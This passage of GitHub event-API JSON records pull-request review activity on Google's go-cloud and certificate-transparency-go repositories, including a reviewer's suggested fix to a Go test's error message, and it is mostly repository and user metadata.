below?","created_at":"2019-07-11T10:17:51Z","updated_at":"2019-07-11T10:42:29Z","html_url":"https://github.com/google/go-cloud/pull/2507#discussion_r302468976","pull_request_url":"https://api.github.com/repos/google/go-cloud/pulls/2507","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/google/go-cloud/pulls/comments/302468976"},"html":{"href":"https://github.com/google/go-cloud/pull/2507#discussion_r302468976"},"pull_request":{"href":"https://api.github.com/repos/google/go-cloud/pulls/2507"}}},"pull_request":{"url":"https://api.github.com/repos/google/go-cloud/pulls/2507","id":296360912,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk2MzYwOTEy","html_url":"https://github.com/google/go-cloud/pull/2507","diff_url":"https://github.com/google/go-cloud/pull/2507.diff","patch_url":"https://github.com/google/go-cloud/pull/2507.patch","issue_url":"https://api.github.com/repos/google/go-cloud/issues/2507","number":2507,"state":"open","locked":false,"title":"docstore: perform optimistic locking when the data tell us to","user":{"login":"shantuo","id":8689543,"node_id":"MDQ6VXNlcjg2ODk1NDM=","avatar_url":"https://avatars3.githubusercontent.com/u/8689543?v=4","gravatar_id":"","url":"https://api.github.com/users/shantuo","html_url":"https://github.com/shantuo","followers_url":"https://api.github.com/users/shantuo/followers","following_url":"https://api.github.com/users/shantuo/following{/other_user}","gists_url":"https://api.github.com/users/shantuo/gists{/gist_id}","starred_url":"https://api.github.com/users/shantuo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shantuo/subscriptions","organizations_url":"https://api.github.com/users/shantuo/orgs","repos_url":"https://api.github.com/users/shantuo/repos","events_url":"https://api.github.com/users/shantuo/events{/privacy}","received_events_url":"https://api.github.com/users/shantuo/received_events","type":"User","site_admin":false},"body":"Fixes #2308 ","created_at":"2019-07-10T21:46:59Z","updated_at":"2019-07-11T10:42:29Z","closed_at":null,"merged_at":null,"merge_commit_sha":"6558da31e25540bff39e4ad4b4800332b65c8a7b","assignee":{"login":"jba","id":18483045,"node_id":"MDQ6VXNlcjE4NDgzMDQ1","avatar_url":"https://avatars1.githubusercontent.com/u/18483045?v=4","gravatar_id":"","url":"https://api.github.com/users/jba","html_url":"https://github.com/jba","followers_url":"https://api.github.com/users/jba/followers","following_url":"https://api.github.com/users/jba/following{/other_user}","gists_url":"https://api.github.com/users/jba/gists{/gist_id}","starred_url":"https://api.github.com/users/jba/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jba/subscriptions","organizations_url":"https://api.github.com/users/jba/orgs","repos_url":"https://api.github.com/users/jba/repos","events_url":"https://api.github.com/users/jba/events{/privacy}","received_events_url":"https://api.github.com/users/jba/received_events","type":"User","site_admin":false},"assignees":[{"login":"jba","id":18483045,"node_id":"MDQ6VXNlcjE4NDgzMDQ1","avatar_url":"https://avatars1.githubusercontent.com/u/18483045?v=4","gravatar_id":"","url":"https://api.github.com/users/jba","html_url":"https://github.com/jba","followers_url":"https://api.github.com/users/jba/followers","following_url":"https://api.github.com/users/jba/following{/other_user}","gists_url":"https://api.github.com/users/jba/gists{/gist_id}","starred_url":"https://api.github.com/users/jba/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jba/subscriptions","organizations_url":"https://api.github.com/users/jba/orgs","repos_url":"https://api.github.com/users/jba/repos","events_url":"https://api.github.com/users/jba/events{/privacy}","received_events_url":"https://api.github.com/users/jba/received_events","type":"User","site_admin":false},{"login":"polinasok","id":51177946,"node_id":"MDQ6VXNlcjUxMTc3OTQ2","avatar_url":"https://avatars3.githubusercontent.com/u/51177946?v=4","gravatar_id":"","url":"https://api.github.com/users/polinasok","html_url":"https://github.com/polinasok","followers_url":"https://api.github.com/users/polinasok/followers","following_url":"https://api.github.com/users/polinasok/following{/other_user}","gists_url":"https://api.github.com/users/polinasok/gists{/gist_id}","starred_url":"https://api.github.com/users/polinasok/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/polinasok/subscriptions","organizations_url":"https://api.github.com/users/polinasok/orgs","repos_url":"https://api.github.com/users/polinasok/repos","events_url":"https://api.github.com/users/polinasok/events{/privacy}","received_events_url":"https://api.github.com/users/polinasok/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"polinasok","id":51177946,"node_id":"MDQ6VXNlcjUxMTc3OTQ2","avatar_url":"https://avatars3.githubusercontent.com/u/51177946?v=4","gravatar_id":"","url":"https://api.github.com/users/polinasok","html_url":"https://github.com/polinasok","followers_url":"https://api.github.com/users/polinasok/followers","following_url":"https://api.github.com/users/polinasok/following{/other_user}","gists_url":"https://api.github.com/users/polinasok/gists{/gist_id}","starred_url":"https://api.github.com/users/polinasok/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/polinasok/subscriptions","organizations_url":"https://api.github.com/users/polinasok/orgs","repos_url":"https://api.github.com/users/polinasok/repos","events_url":"https://api.github.com/users/polinasok/events{/privacy}","received_events_url":"https://api.github.com/users/polinasok/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":1016532751,"node_id":"MDU6TGFiZWwxMDE2NTMyNzUx","url":"https://api.github.com/repos/google/go-cloud/labels/cla:%20yes","name":"cla: yes","color":"0e8a16","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/google/go-cloud/pulls/2507/commits","review_comments_url":"https://api.github.com/repos/google/go-cloud/pulls/2507/comments","review_comment_url":"https://api.github.com/repos/google/go-cloud/pulls/comments{/number}","comments_url":"https://api.github.com/repos/google/go-cloud/issues/2507/comments","statuses_url":"https://api.github.com/repos/google/go-cloud/statuses/8d0157d9a2feaf02a46b4e337d21f54d0c7cc5c5","head":{"label":"shantuo:docrev","ref":"docrev","sha":"8d0157d9a2feaf02a46b4e337d21f54d0c7cc5c5","user":{"login":"shantuo","id":8689543,"node_id":"MDQ6VXNlcjg2ODk1NDM=","avatar_url":"https://avatars3.githubusercontent.com/u/8689543?v=4","gravatar_id":"","url":"https://api.github.com/users/shantuo","html_url":"https://github.com/shantuo","followers_url":"https://api.github.com/users/shantuo/followers","following_url":"https://api.github.com/users/shantuo/following{/other_user}","gists_url":"https://api.github.com/users/shantuo/gists{/gist_id}","starred_url":"https://api.github.com/users/shantuo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shantuo/subscriptions","organizations_url":"https://api.github.com/users/shantuo/orgs","repos_url":"https://api.github.com/users/shantuo/repos","events_url":"https://api.github.com/users/shantuo/events{/privacy}","received_events_url":"https://api.github.com/users/shantuo/received_events","type":"User","site_admin":false},"repo":{"id":142605262,"node_id":"MDEwOlJlcG9zaXRvcnkxNDI2MDUyNjI=","name":"go-cloud","full_name":"shantuo/go-cloud","private":false,"owner":{"login":"shantuo","id":8689543,"node_id":"MDQ6VXNlcjg2ODk1NDM=","avatar_url":"https://avatars3.githubusercontent.com/u/8689543?v=4","gravatar_id":"","url":"https://api.github.com/users/shantuo","html_url":"https://github.com/shantuo","followers_url":"https://api.github.com/users/shantuo/followers","following_url":"https://api.github.com/users/shantuo/following{/other_user}","gists_url":"https://api.github.com/users/shantuo/gists{/gist_id}","starred_url":"https://api.github.com/users/shantuo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shantuo/subscriptions","organizations_url":"https://api.github.com/users/shantuo/orgs","repos_url":"https://api.github.com/users/shantuo/repos","events_url":"https://api.github.com/users/shantuo/events{/privacy}","received_events_url":"https://api.github.com/users/shantuo/received_events","type":"User","site_admin":false},"html_url":"https://github.com/shantuo/go-cloud","description":"A library and tools for open cloud development in Go.","fork":true,"url":"https://api.github.com/repos/shantuo/go-cloud","forks_url":"https://api.github.com/repos/shantuo/go-cloud/forks","keys_url":"https://api.github.com/repos/shantuo/go-cloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/shantuo/go-cloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/shantuo/go-cloud/teams","hooks_url":"https://api.github.com/repos/shantuo/go-cloud/hooks","issue_events_url":"https://api.github.com/repos/shantuo/go-cloud/issues/events{/number}","events_url":"https://api.github.com/repos/shantuo/go-cloud/events","assignees_url":"https://api.github.com/repos/shantuo/go-cloud/assignees{/user}","branches_url":"https://api.github.com/repos/shantuo/go-cloud/branches{/branch}","tags_url":"https://api.github.com/repos/shantuo/go-cloud/tags","blobs_url":"https://api.github.com/repos/shantuo/go-cloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/shantuo/go-cloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/shantuo/go-cloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/shantuo/go-cloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/shantuo/go-cloud/statuses/{sha}","languages_url":"https://api.github.com/repos/shantuo/go-cloud/languages","stargazers_url":"https://api.github.com/repos/shantuo/go-cloud/stargazers","contributors_url":"https://api.github.com/repos/shantuo/go-cloud/contributors","subscribers_url":"https://api.github.com/repos/shantuo/go-cloud/subscribers","subscription_url":"https://api.github.com/repos/shantuo/go-cloud/subscription","commits_url":"https://api.github.com/repos/shantuo/go-cloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/shantuo/go-cloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/shantuo/go-cloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/shantuo/go-cloud/issues/comments{/number}","contents_url":"https://api.github.com/repos/shantuo/go-cloud/contents/{+path}","compare_url":"https://api.github.com/repos/shantuo/go-cloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/shantuo/go-cloud/merges","archive_url":"https://api.github.com/repos/shantuo/go-cloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/shantuo/go-cloud/downloads","issues_url":"https://api.github.com/repos/shantuo/go-cloud/issues{/number}","pulls_url":"https://api.github.com/repos/shantuo/go-cloud/pulls{/number}","milestones_url":"https://api.github.com/repos/shantuo/go-cloud/milestones{/number}","notifications_url":"https://api.github.com/repos/shantuo/go-cloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/shantuo/go-cloud/labels{/name}","releases_url":"https://api.github.com/repos/shantuo/go-cloud/releases{/id}","deployments_url":"https://api.github.com/repos/shantuo/go-cloud/deployments","created_at":"2018-07-27T17:24:45Z","updated_at":"2019-05-08T22:40:36Z","pushed_at":"2019-07-10T21:47:07Z","git_url":"git://github.com/shantuo/go-cloud.git","ssh_url":"git@github.com:shantuo/go-cloud.git","clone_url":"https://github.com/shantuo/go-cloud.git","svn_url":"https://github.com/shantuo/go-cloud","homepage":"https://godoc.org/github.com/google/go-cloud","size":27419,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"google:master","ref":"master","sha":"29dbbe9808df18dfe481ce14619f43b94501e307","user":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"repo":{"id":126250425,"node_id":"MDEwOlJlcG9zaXRvcnkxMjYyNTA0MjU=","name":"go-cloud","full_name":"google/go-cloud","private":false,"owner":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/google/go-cloud","description":"The Go Cloud Development Kit (Go CDK): A library and tools for open cloud development in Go.","fork":false,"url":"https://api.github.com/repos/google/go-cloud","forks_url":"https://api.github.com/repos/google/go-cloud/forks","keys_url":"https://api.github.com/repos/google/go-cloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/google/go-cloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/google/go-cloud/teams","hooks_url":"https://api.github.com/repos/google/go-cloud/hooks","issue_events_url":"https://api.github.com/repos/google/go-cloud/issues/events{/number}","events_url":"https://api.github.com/repos/google/go-cloud/events","assignees_url":"https://api.github.com/repos/google/go-cloud/assignees{/user}","branches_url":"https://api.github.com/repos/google/go-cloud/branches{/branch}","tags_url":"https://api.github.com/repos/google/go-cloud/tags","blobs_url":"https://api.github.com/repos/google/go-cloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/google/go-cloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/google/go-cloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/google/go-cloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/google/go-cloud/statuses/{sha}","languages_url":"https://api.github.com/repos/google/go-cloud/languages","stargazers_url":"https://api.github.com/repos/google/go-cloud/stargazers","contributors_url":"https://api.github.com/repos/google/go-cloud/contributors","subscribers_url":"https://api.github.com/repos/google/go-cloud/subscribers","subscription_url":"https://api.github.com/repos/google/go-cloud/subscription","commits_url":"https://api.github.com/repos/google/go-cloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/google/go-cloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/google/go-cloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/google/go-cloud/issues/comments{/number}","contents_url":"https://api.github.com/repos/google/go-cloud/contents/{+path}","compare_url":"https://api.github.com/repos/google/go-cloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/google/go-cloud/merges","archive_url":"https://api.github.com/repos/google/go-cloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/google/go-cloud/downloads","issues_url":"https://api.github.com/repos/google/go-cloud/issues{/number}","pulls_url":"https://api.github.com/repos/google/go-cloud/pulls{/number}","milestones_url":"https://api.github.com/repos/google/go-cloud/milestones{/number}","notifications_url":"https://api.github.com/repos/google/go-cloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/google/go-cloud/labels{/name}","releases_url":"https://api.github.com/repos/google/go-cloud/releases{/id}","deployments_url":"https://api.github.com/repos/google/go-cloud/deployments","created_at":"2018-03-21T22:57:26Z","updated_at":"2019-07-11T10:08:05Z","pushed_at":"2019-07-11T10:08:01Z","git_url":"git://github.com/google/go-cloud.git","ssh_url":"git@github.com:google/go-cloud.git","clone_url":"https://github.com/google/go-cloud.git","svn_url":"https://github.com/google/go-cloud","homepage":"https://gocloud.dev/","size":27627,"stargazers_count":6260,"watchers_count":6260,"language":"Go","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":423,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":165,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":423,"open_issues":165,"watchers":6260,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/google/go-cloud/pulls/2507"},"html":{"href":"https://github.com/google/go-cloud/pull/2507"},"issue":{"href":"https://api.github.com/repos/google/go-cloud/issues/2507"},"comments":{"href":"https://api.github.com/repos/google/go-cloud/issues/2507/comments"},"review_comments":{"href":"https://api.github.com/repos/google/go-cloud/pulls/2507/comments"},"review_comment":{"href":"https://api.github.com/repos/google/go-cloud/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/google/go-cloud/pulls/2507/commits"},"statuses":{"href":"https://api.github.com/repos/google/go-cloud/statuses/8d0157d9a2feaf02a46b4e337d21f54d0c7cc5c5"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 126250425,
"name": "google/go-cloud",
"url": "https://api.github.com/repos/google/go-cloud"
}
|
{
"id": 18483045,
"login": "jba",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/18483045?",
"url": "https://api.github.com/users/jba"
}
|
{
"id": 1342004,
"login": "google",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1342004?",
"url": "https://api.github.com/orgs/google"
}
| 2019-07-11T10:17:51 |
9991277457
|
{"actor":{"display_login":"jba"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/comments/254319235","pull_request_review_id":200624179,"id":254319235,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1NDMxOTIzNQ==","diff_hunk":"@@ -102,10 +118,75 @@ func TestNewDistributorLogClients(t *testing.T) {\n \t\tt.Run(tc.name, func(t *testing.T) {\n \t\t\t_, err := NewDistributor(tc.ll, ctpolicy.ChromeCTPolicy{}, tc.lcBuilder)\n \t\t\tif gotErr, wantErr := err != nil, tc.errRegexp != nil; gotErr != wantErr {\n-\t\t\t\tt.Errorf(\"Expected error state does not match produced one.\")\n+\t\t\t\tt.Errorf(\"Got error = %v, expected error = %v\", (err == nil), (tc.errRegexp == nil))","path":"submission/distributor_test.go","position":39,"original_position":39,"commit_id":"921d0ebe8bb27f45062b97b2805fe1a8be67274e","original_commit_id":"921d0ebe8bb27f45062b97b2805fe1a8be67274e","user":{"login":"RJPercival","id":1949076,"node_id":"MDQ6VXNlcjE5NDkwNzY=","avatar_url":"https://avatars2.githubusercontent.com/u/1949076?v=4","gravatar_id":"","url":"https://api.github.com/users/RJPercival","html_url":"https://github.com/RJPercival","followers_url":"https://api.github.com/users/RJPercival/followers","following_url":"https://api.github.com/users/RJPercival/following{/other_user}","gists_url":"https://api.github.com/users/RJPercival/gists{/gist_id}","starred_url":"https://api.github.com/users/RJPercival/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RJPercival/subscriptions","organizations_url":"https://api.github.com/users/RJPercival/orgs","repos_url":"https://api.github.com/users/RJPercival/repos","events_url":"https://api.github.com/users/RJPercival/events{/privacy}","received_events_url":"https://api.github.com/users/RJPercival/received_events","type":"User","site_admin":false},"body":"```suggestion\r\n\t\t\t\tt.Errorf(\"Got error = %v, expected error = %v\", gotErr, wantErr)\r\n```\r\nAs it was, this would print out \"Got error = true\" when err == nil. Also, you might find the error message more helpful if it contained the error message (when err != nil).","created_at":"2019-02-06T15:31:53Z","updated_at":"2019-02-06T15:37:19Z","html_url":"https://github.com/google/certificate-transparency-go/pull/443#discussion_r254319235","pull_request_url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/comments/254319235"},"html":{"href":"https://github.com/google/certificate-transparency-go/pull/443#discussion_r254319235"},"pull_request":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443"}}},"pull_request":{"url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443","id":249582773,"node_id":"MDExOlB1bGxSZXF1ZXN0MjQ5NTgyNzcz","html_url":"https://github.com/google/certificate-transparency-go/pull/443","diff_url":"https://github.com/google/certificate-transparency-go/pull/443.diff","patch_url":"https://github.com/google/certificate-transparency-go/pull/443.patch","issue_url":"https://api.github.com/repos/google/certificate-transparency-go/issues/443","number":443,"state":"open","locked":false,"title":"Adding implementation for log-refresh.","user":{"login":"Mercurrent","id":1265448,"node_id":"MDQ6VXNlcjEyNjU0NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/1265448?v=4","gravatar_id":"","url":"https://api.github.com/users/Mercurrent","html_url":"https://github.com/Mercurrent","followers_url":"https://api.github.com/users/Mercurrent/followers","following_url":"https://api.github.com/users/Mercurrent/following{/other_user}","gists_url":"https://api.github.com/users/Mercurrent/gists{/gist_id}","starred_url":"https://api.github.com/users/Mercurrent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mercurrent/subscriptions","organizations_url":"https://api.github.com/users/Mercurrent/orgs","repos_url":"https://api.github.com/users/Mercurrent/repos","events_url":"https://api.github.com/users/Mercurrent/events{/privacy}","received_events_url":"https://api.github.com/users/Mercurrent/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-02-01T12:11:45Z","updated_at":"2019-02-06T15:37:18Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e182c6d1f7c695f9bb401369d651c45781b96d43","assignee":{"login":"Mercurrent","id":1265448,"node_id":"MDQ6VXNlcjEyNjU0NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/1265448?v=4","gravatar_id":"","url":"https://api.github.com/users/Mercurrent","html_url":"https://github.com/Mercurrent","followers_url":"https://api.github.com/users/Mercurrent/followers","following_url":"https://api.github.com/users/Mercurrent/following{/other_user}","gists_url":"https://api.github.com/users/Mercurrent/gists{/gist_id}","starred_url":"https://api.github.com/users/Mercurrent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mercurrent/subscriptions","organizations_url":"https://api.github.com/users/Mercurrent/orgs","repos_url":"https://api.github.com/users/Mercurrent/repos","events_url":"https://api.github.com/users/Mercurrent/events{/privacy}","received_events_url":"https://api.github.com/users/Mercurrent/received_events","type":"User","site_admin":false},"assignees":[{"login":"Mercurrent","id":1265448,"node_id":"MDQ6VXNlcjEyNjU0NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/1265448?v=4","gravatar_id":"","url":"https://api.github.com/users/Mercurrent","html_url":"https://github.com/Mercurrent","followers_url":"https://api.github.com/users/Mercurrent/followers","following_url":"https://api.github.com/users/Mercurrent/following{/other_user}","gists_url":"https://api.github.com/users/Mercurrent/gists{/gist_id}","starred_url":"https://api.github.com/users/Mercurrent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mercurrent/subscriptions","organizations_url":"https://api.github.com/users/Mercurrent/orgs","repos_url":"https://api.github.com/users/Mercurrent/repos","events_url":"https://api.github.com/users/Mercurrent/events{/privacy}","received_events_url":"https://api.github.com/users/Mercurrent/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"Martin2112","id":13366863,"node_id":"MDQ6VXNlcjEzMzY2ODYz","avatar_url":"https://avatars2.githubusercontent.com/u/13366863?v=4","gravatar_id":"","url":"https://api.github.com/users/Martin2112","html_url":"https://github.com/Martin2112","followers_url":"https://api.github.com/users/Martin2112/followers","following_url":"https://api.github.com/users/Martin2112/following{/other_user}","gists_url":"https://api.github.com/users/Martin2112/gists{/gist_id}","starred_url":"https://api.github.com/users/Martin2112/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Martin2112/subscriptions","organizations_url":"https://api.github.com/users/Martin2112/orgs","repos_url":"https://api.github.com/users/Martin2112/repos","events_url":"https://api.github.com/users/Martin2112/events{/privacy}","received_events_url":"https://api.github.com/users/Martin2112/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":602120732,"node_id":"MDU6TGFiZWw2MDIxMjA3MzI=","url":"https://api.github.com/repos/google/certificate-transparency-go/labels/cla:%20yes","name":"cla: yes","color":"0e8a16","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443/commits","review_comments_url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443/comments","review_comment_url":"https://api.github.com/repos/google/certificate-transparency-go/pulls/comments{/number}","comments_url":"https://api.github.com/repos/google/certificate-transparency-go/issues/443/comments","statuses_url":"https://api.github.com/repos/google/certificate-transparency-go/statuses/921d0ebe8bb27f45062b97b2805fe1a8be67274e","head":{"label":"Mercurrent:distributor-refresh","ref":"distributor-refresh","sha":"921d0ebe8bb27f45062b97b2805fe1a8be67274e","user":{"login":"Mercurrent","id":1265448,"node_id":"MDQ6VXNlcjEyNjU0NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/1265448?v=4","gravatar_id":"","url":"https://api.github.com/users/Mercurrent","html_url":"https://github.com/Mercurrent","followers_url":"https://api.github.com/users/Mercurrent/followers","following_url":"https://api.github.com/users/Mercurrent/following{/other_user}","gists_url":"https://api.github.com/users/Mercurrent/gists{/gist_id}","starred_url":"https://api.github.com/users/Mercurrent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mercurrent/subscriptions","organizations_url":"https://api.github.com/users/Mercurrent/orgs","repos_url":"https://api.github.com/users/Mercurrent/repos","events_url":"https://api.github.com/users/Mercurrent/events{/privacy}","received_events_url":"https://api.github.com/users/Mercurrent/received_events","type":"User","site_admin":false},"repo":{"id":148490410,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg0OTA0MTA=","name":"certificate-transparency-go","full_name":"Mercurrent/certificate-transparency-go","private":false,"owner":{"login":"Mercurrent","id":1265448,"node_id":"MDQ6VXNlcjEyNjU0NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/1265448?v=4","gravatar_id":"","url":"https://api.github.com/users/Mercurrent","html_url":"https://github.com/Mercurrent","followers_url":"https://api.github.com/users/Mercurrent/followers","following_url":"https://api.github.com/users/Mercurrent/following{/other_user}","gists_url":"https://api.github.com/users/Mercurrent/gists{/gist_id}","starred_url":"https://api.github.com/users/Mercurrent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mercurrent/subscriptions","organizations_url":"https://api.github.com/users/Mercurrent/orgs","repos_url":"https://api.github.com/users/Mercurrent/repos","events_url":"https://api.github.com/users/Mercurrent/events{/privacy}","received_events_url":"https://api.github.com/users/Mercurrent/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Mercurrent/certificate-transparency-go","description":"Auditing for TLS certificates, Go code. ","fork":true,"url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go","forks_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/forks","keys_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/teams","hooks_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/hooks","issue_events_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/issues/events{/number}","events_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/events","assignees_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/assignees{/user}","branches_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/branches{/branch}","tags_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/tags","blobs_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/git/refs{/sha}","trees_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/statuses/{sha}","languages_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/languages","stargazers_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/stargazers","contributors_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/contributors","subscribers_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/subscribers","subscription_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/subscription","commits_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/commits{/sha}","git_commits_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/git/commits{/sha}","comments_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/comments{/number}","issue_comment_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/issues/comments{/number}","contents_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/contents/{+path}","compare_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/merges","archive_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/downloads","issues_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/issues{/number}","pulls_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/pulls{/number}","milestones_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/milestones{/number}","notifications_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/labels{/name}","releases_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/releases{/id}","deployments_url":"https://api.github.com/repos/Mercurrent/certificate-transparency-go/deployments","created_at":"2018-09-12T14:06:36Z","updated_at":"2018-09-12T14:06:39Z","pushed_at":"2019-02-01T14:11:14Z","git_url":"git://github.com/Mercurrent/certificate-transparency-go.git","ssh_url":"git@github.com:Mercurrent/certificate-transparency-go.git","clone_url":"https://github.com/Mercurrent/certificate-transparency-go.git","svn_url":"https://github.com/Mercurrent/certificate-transparency-go","homepa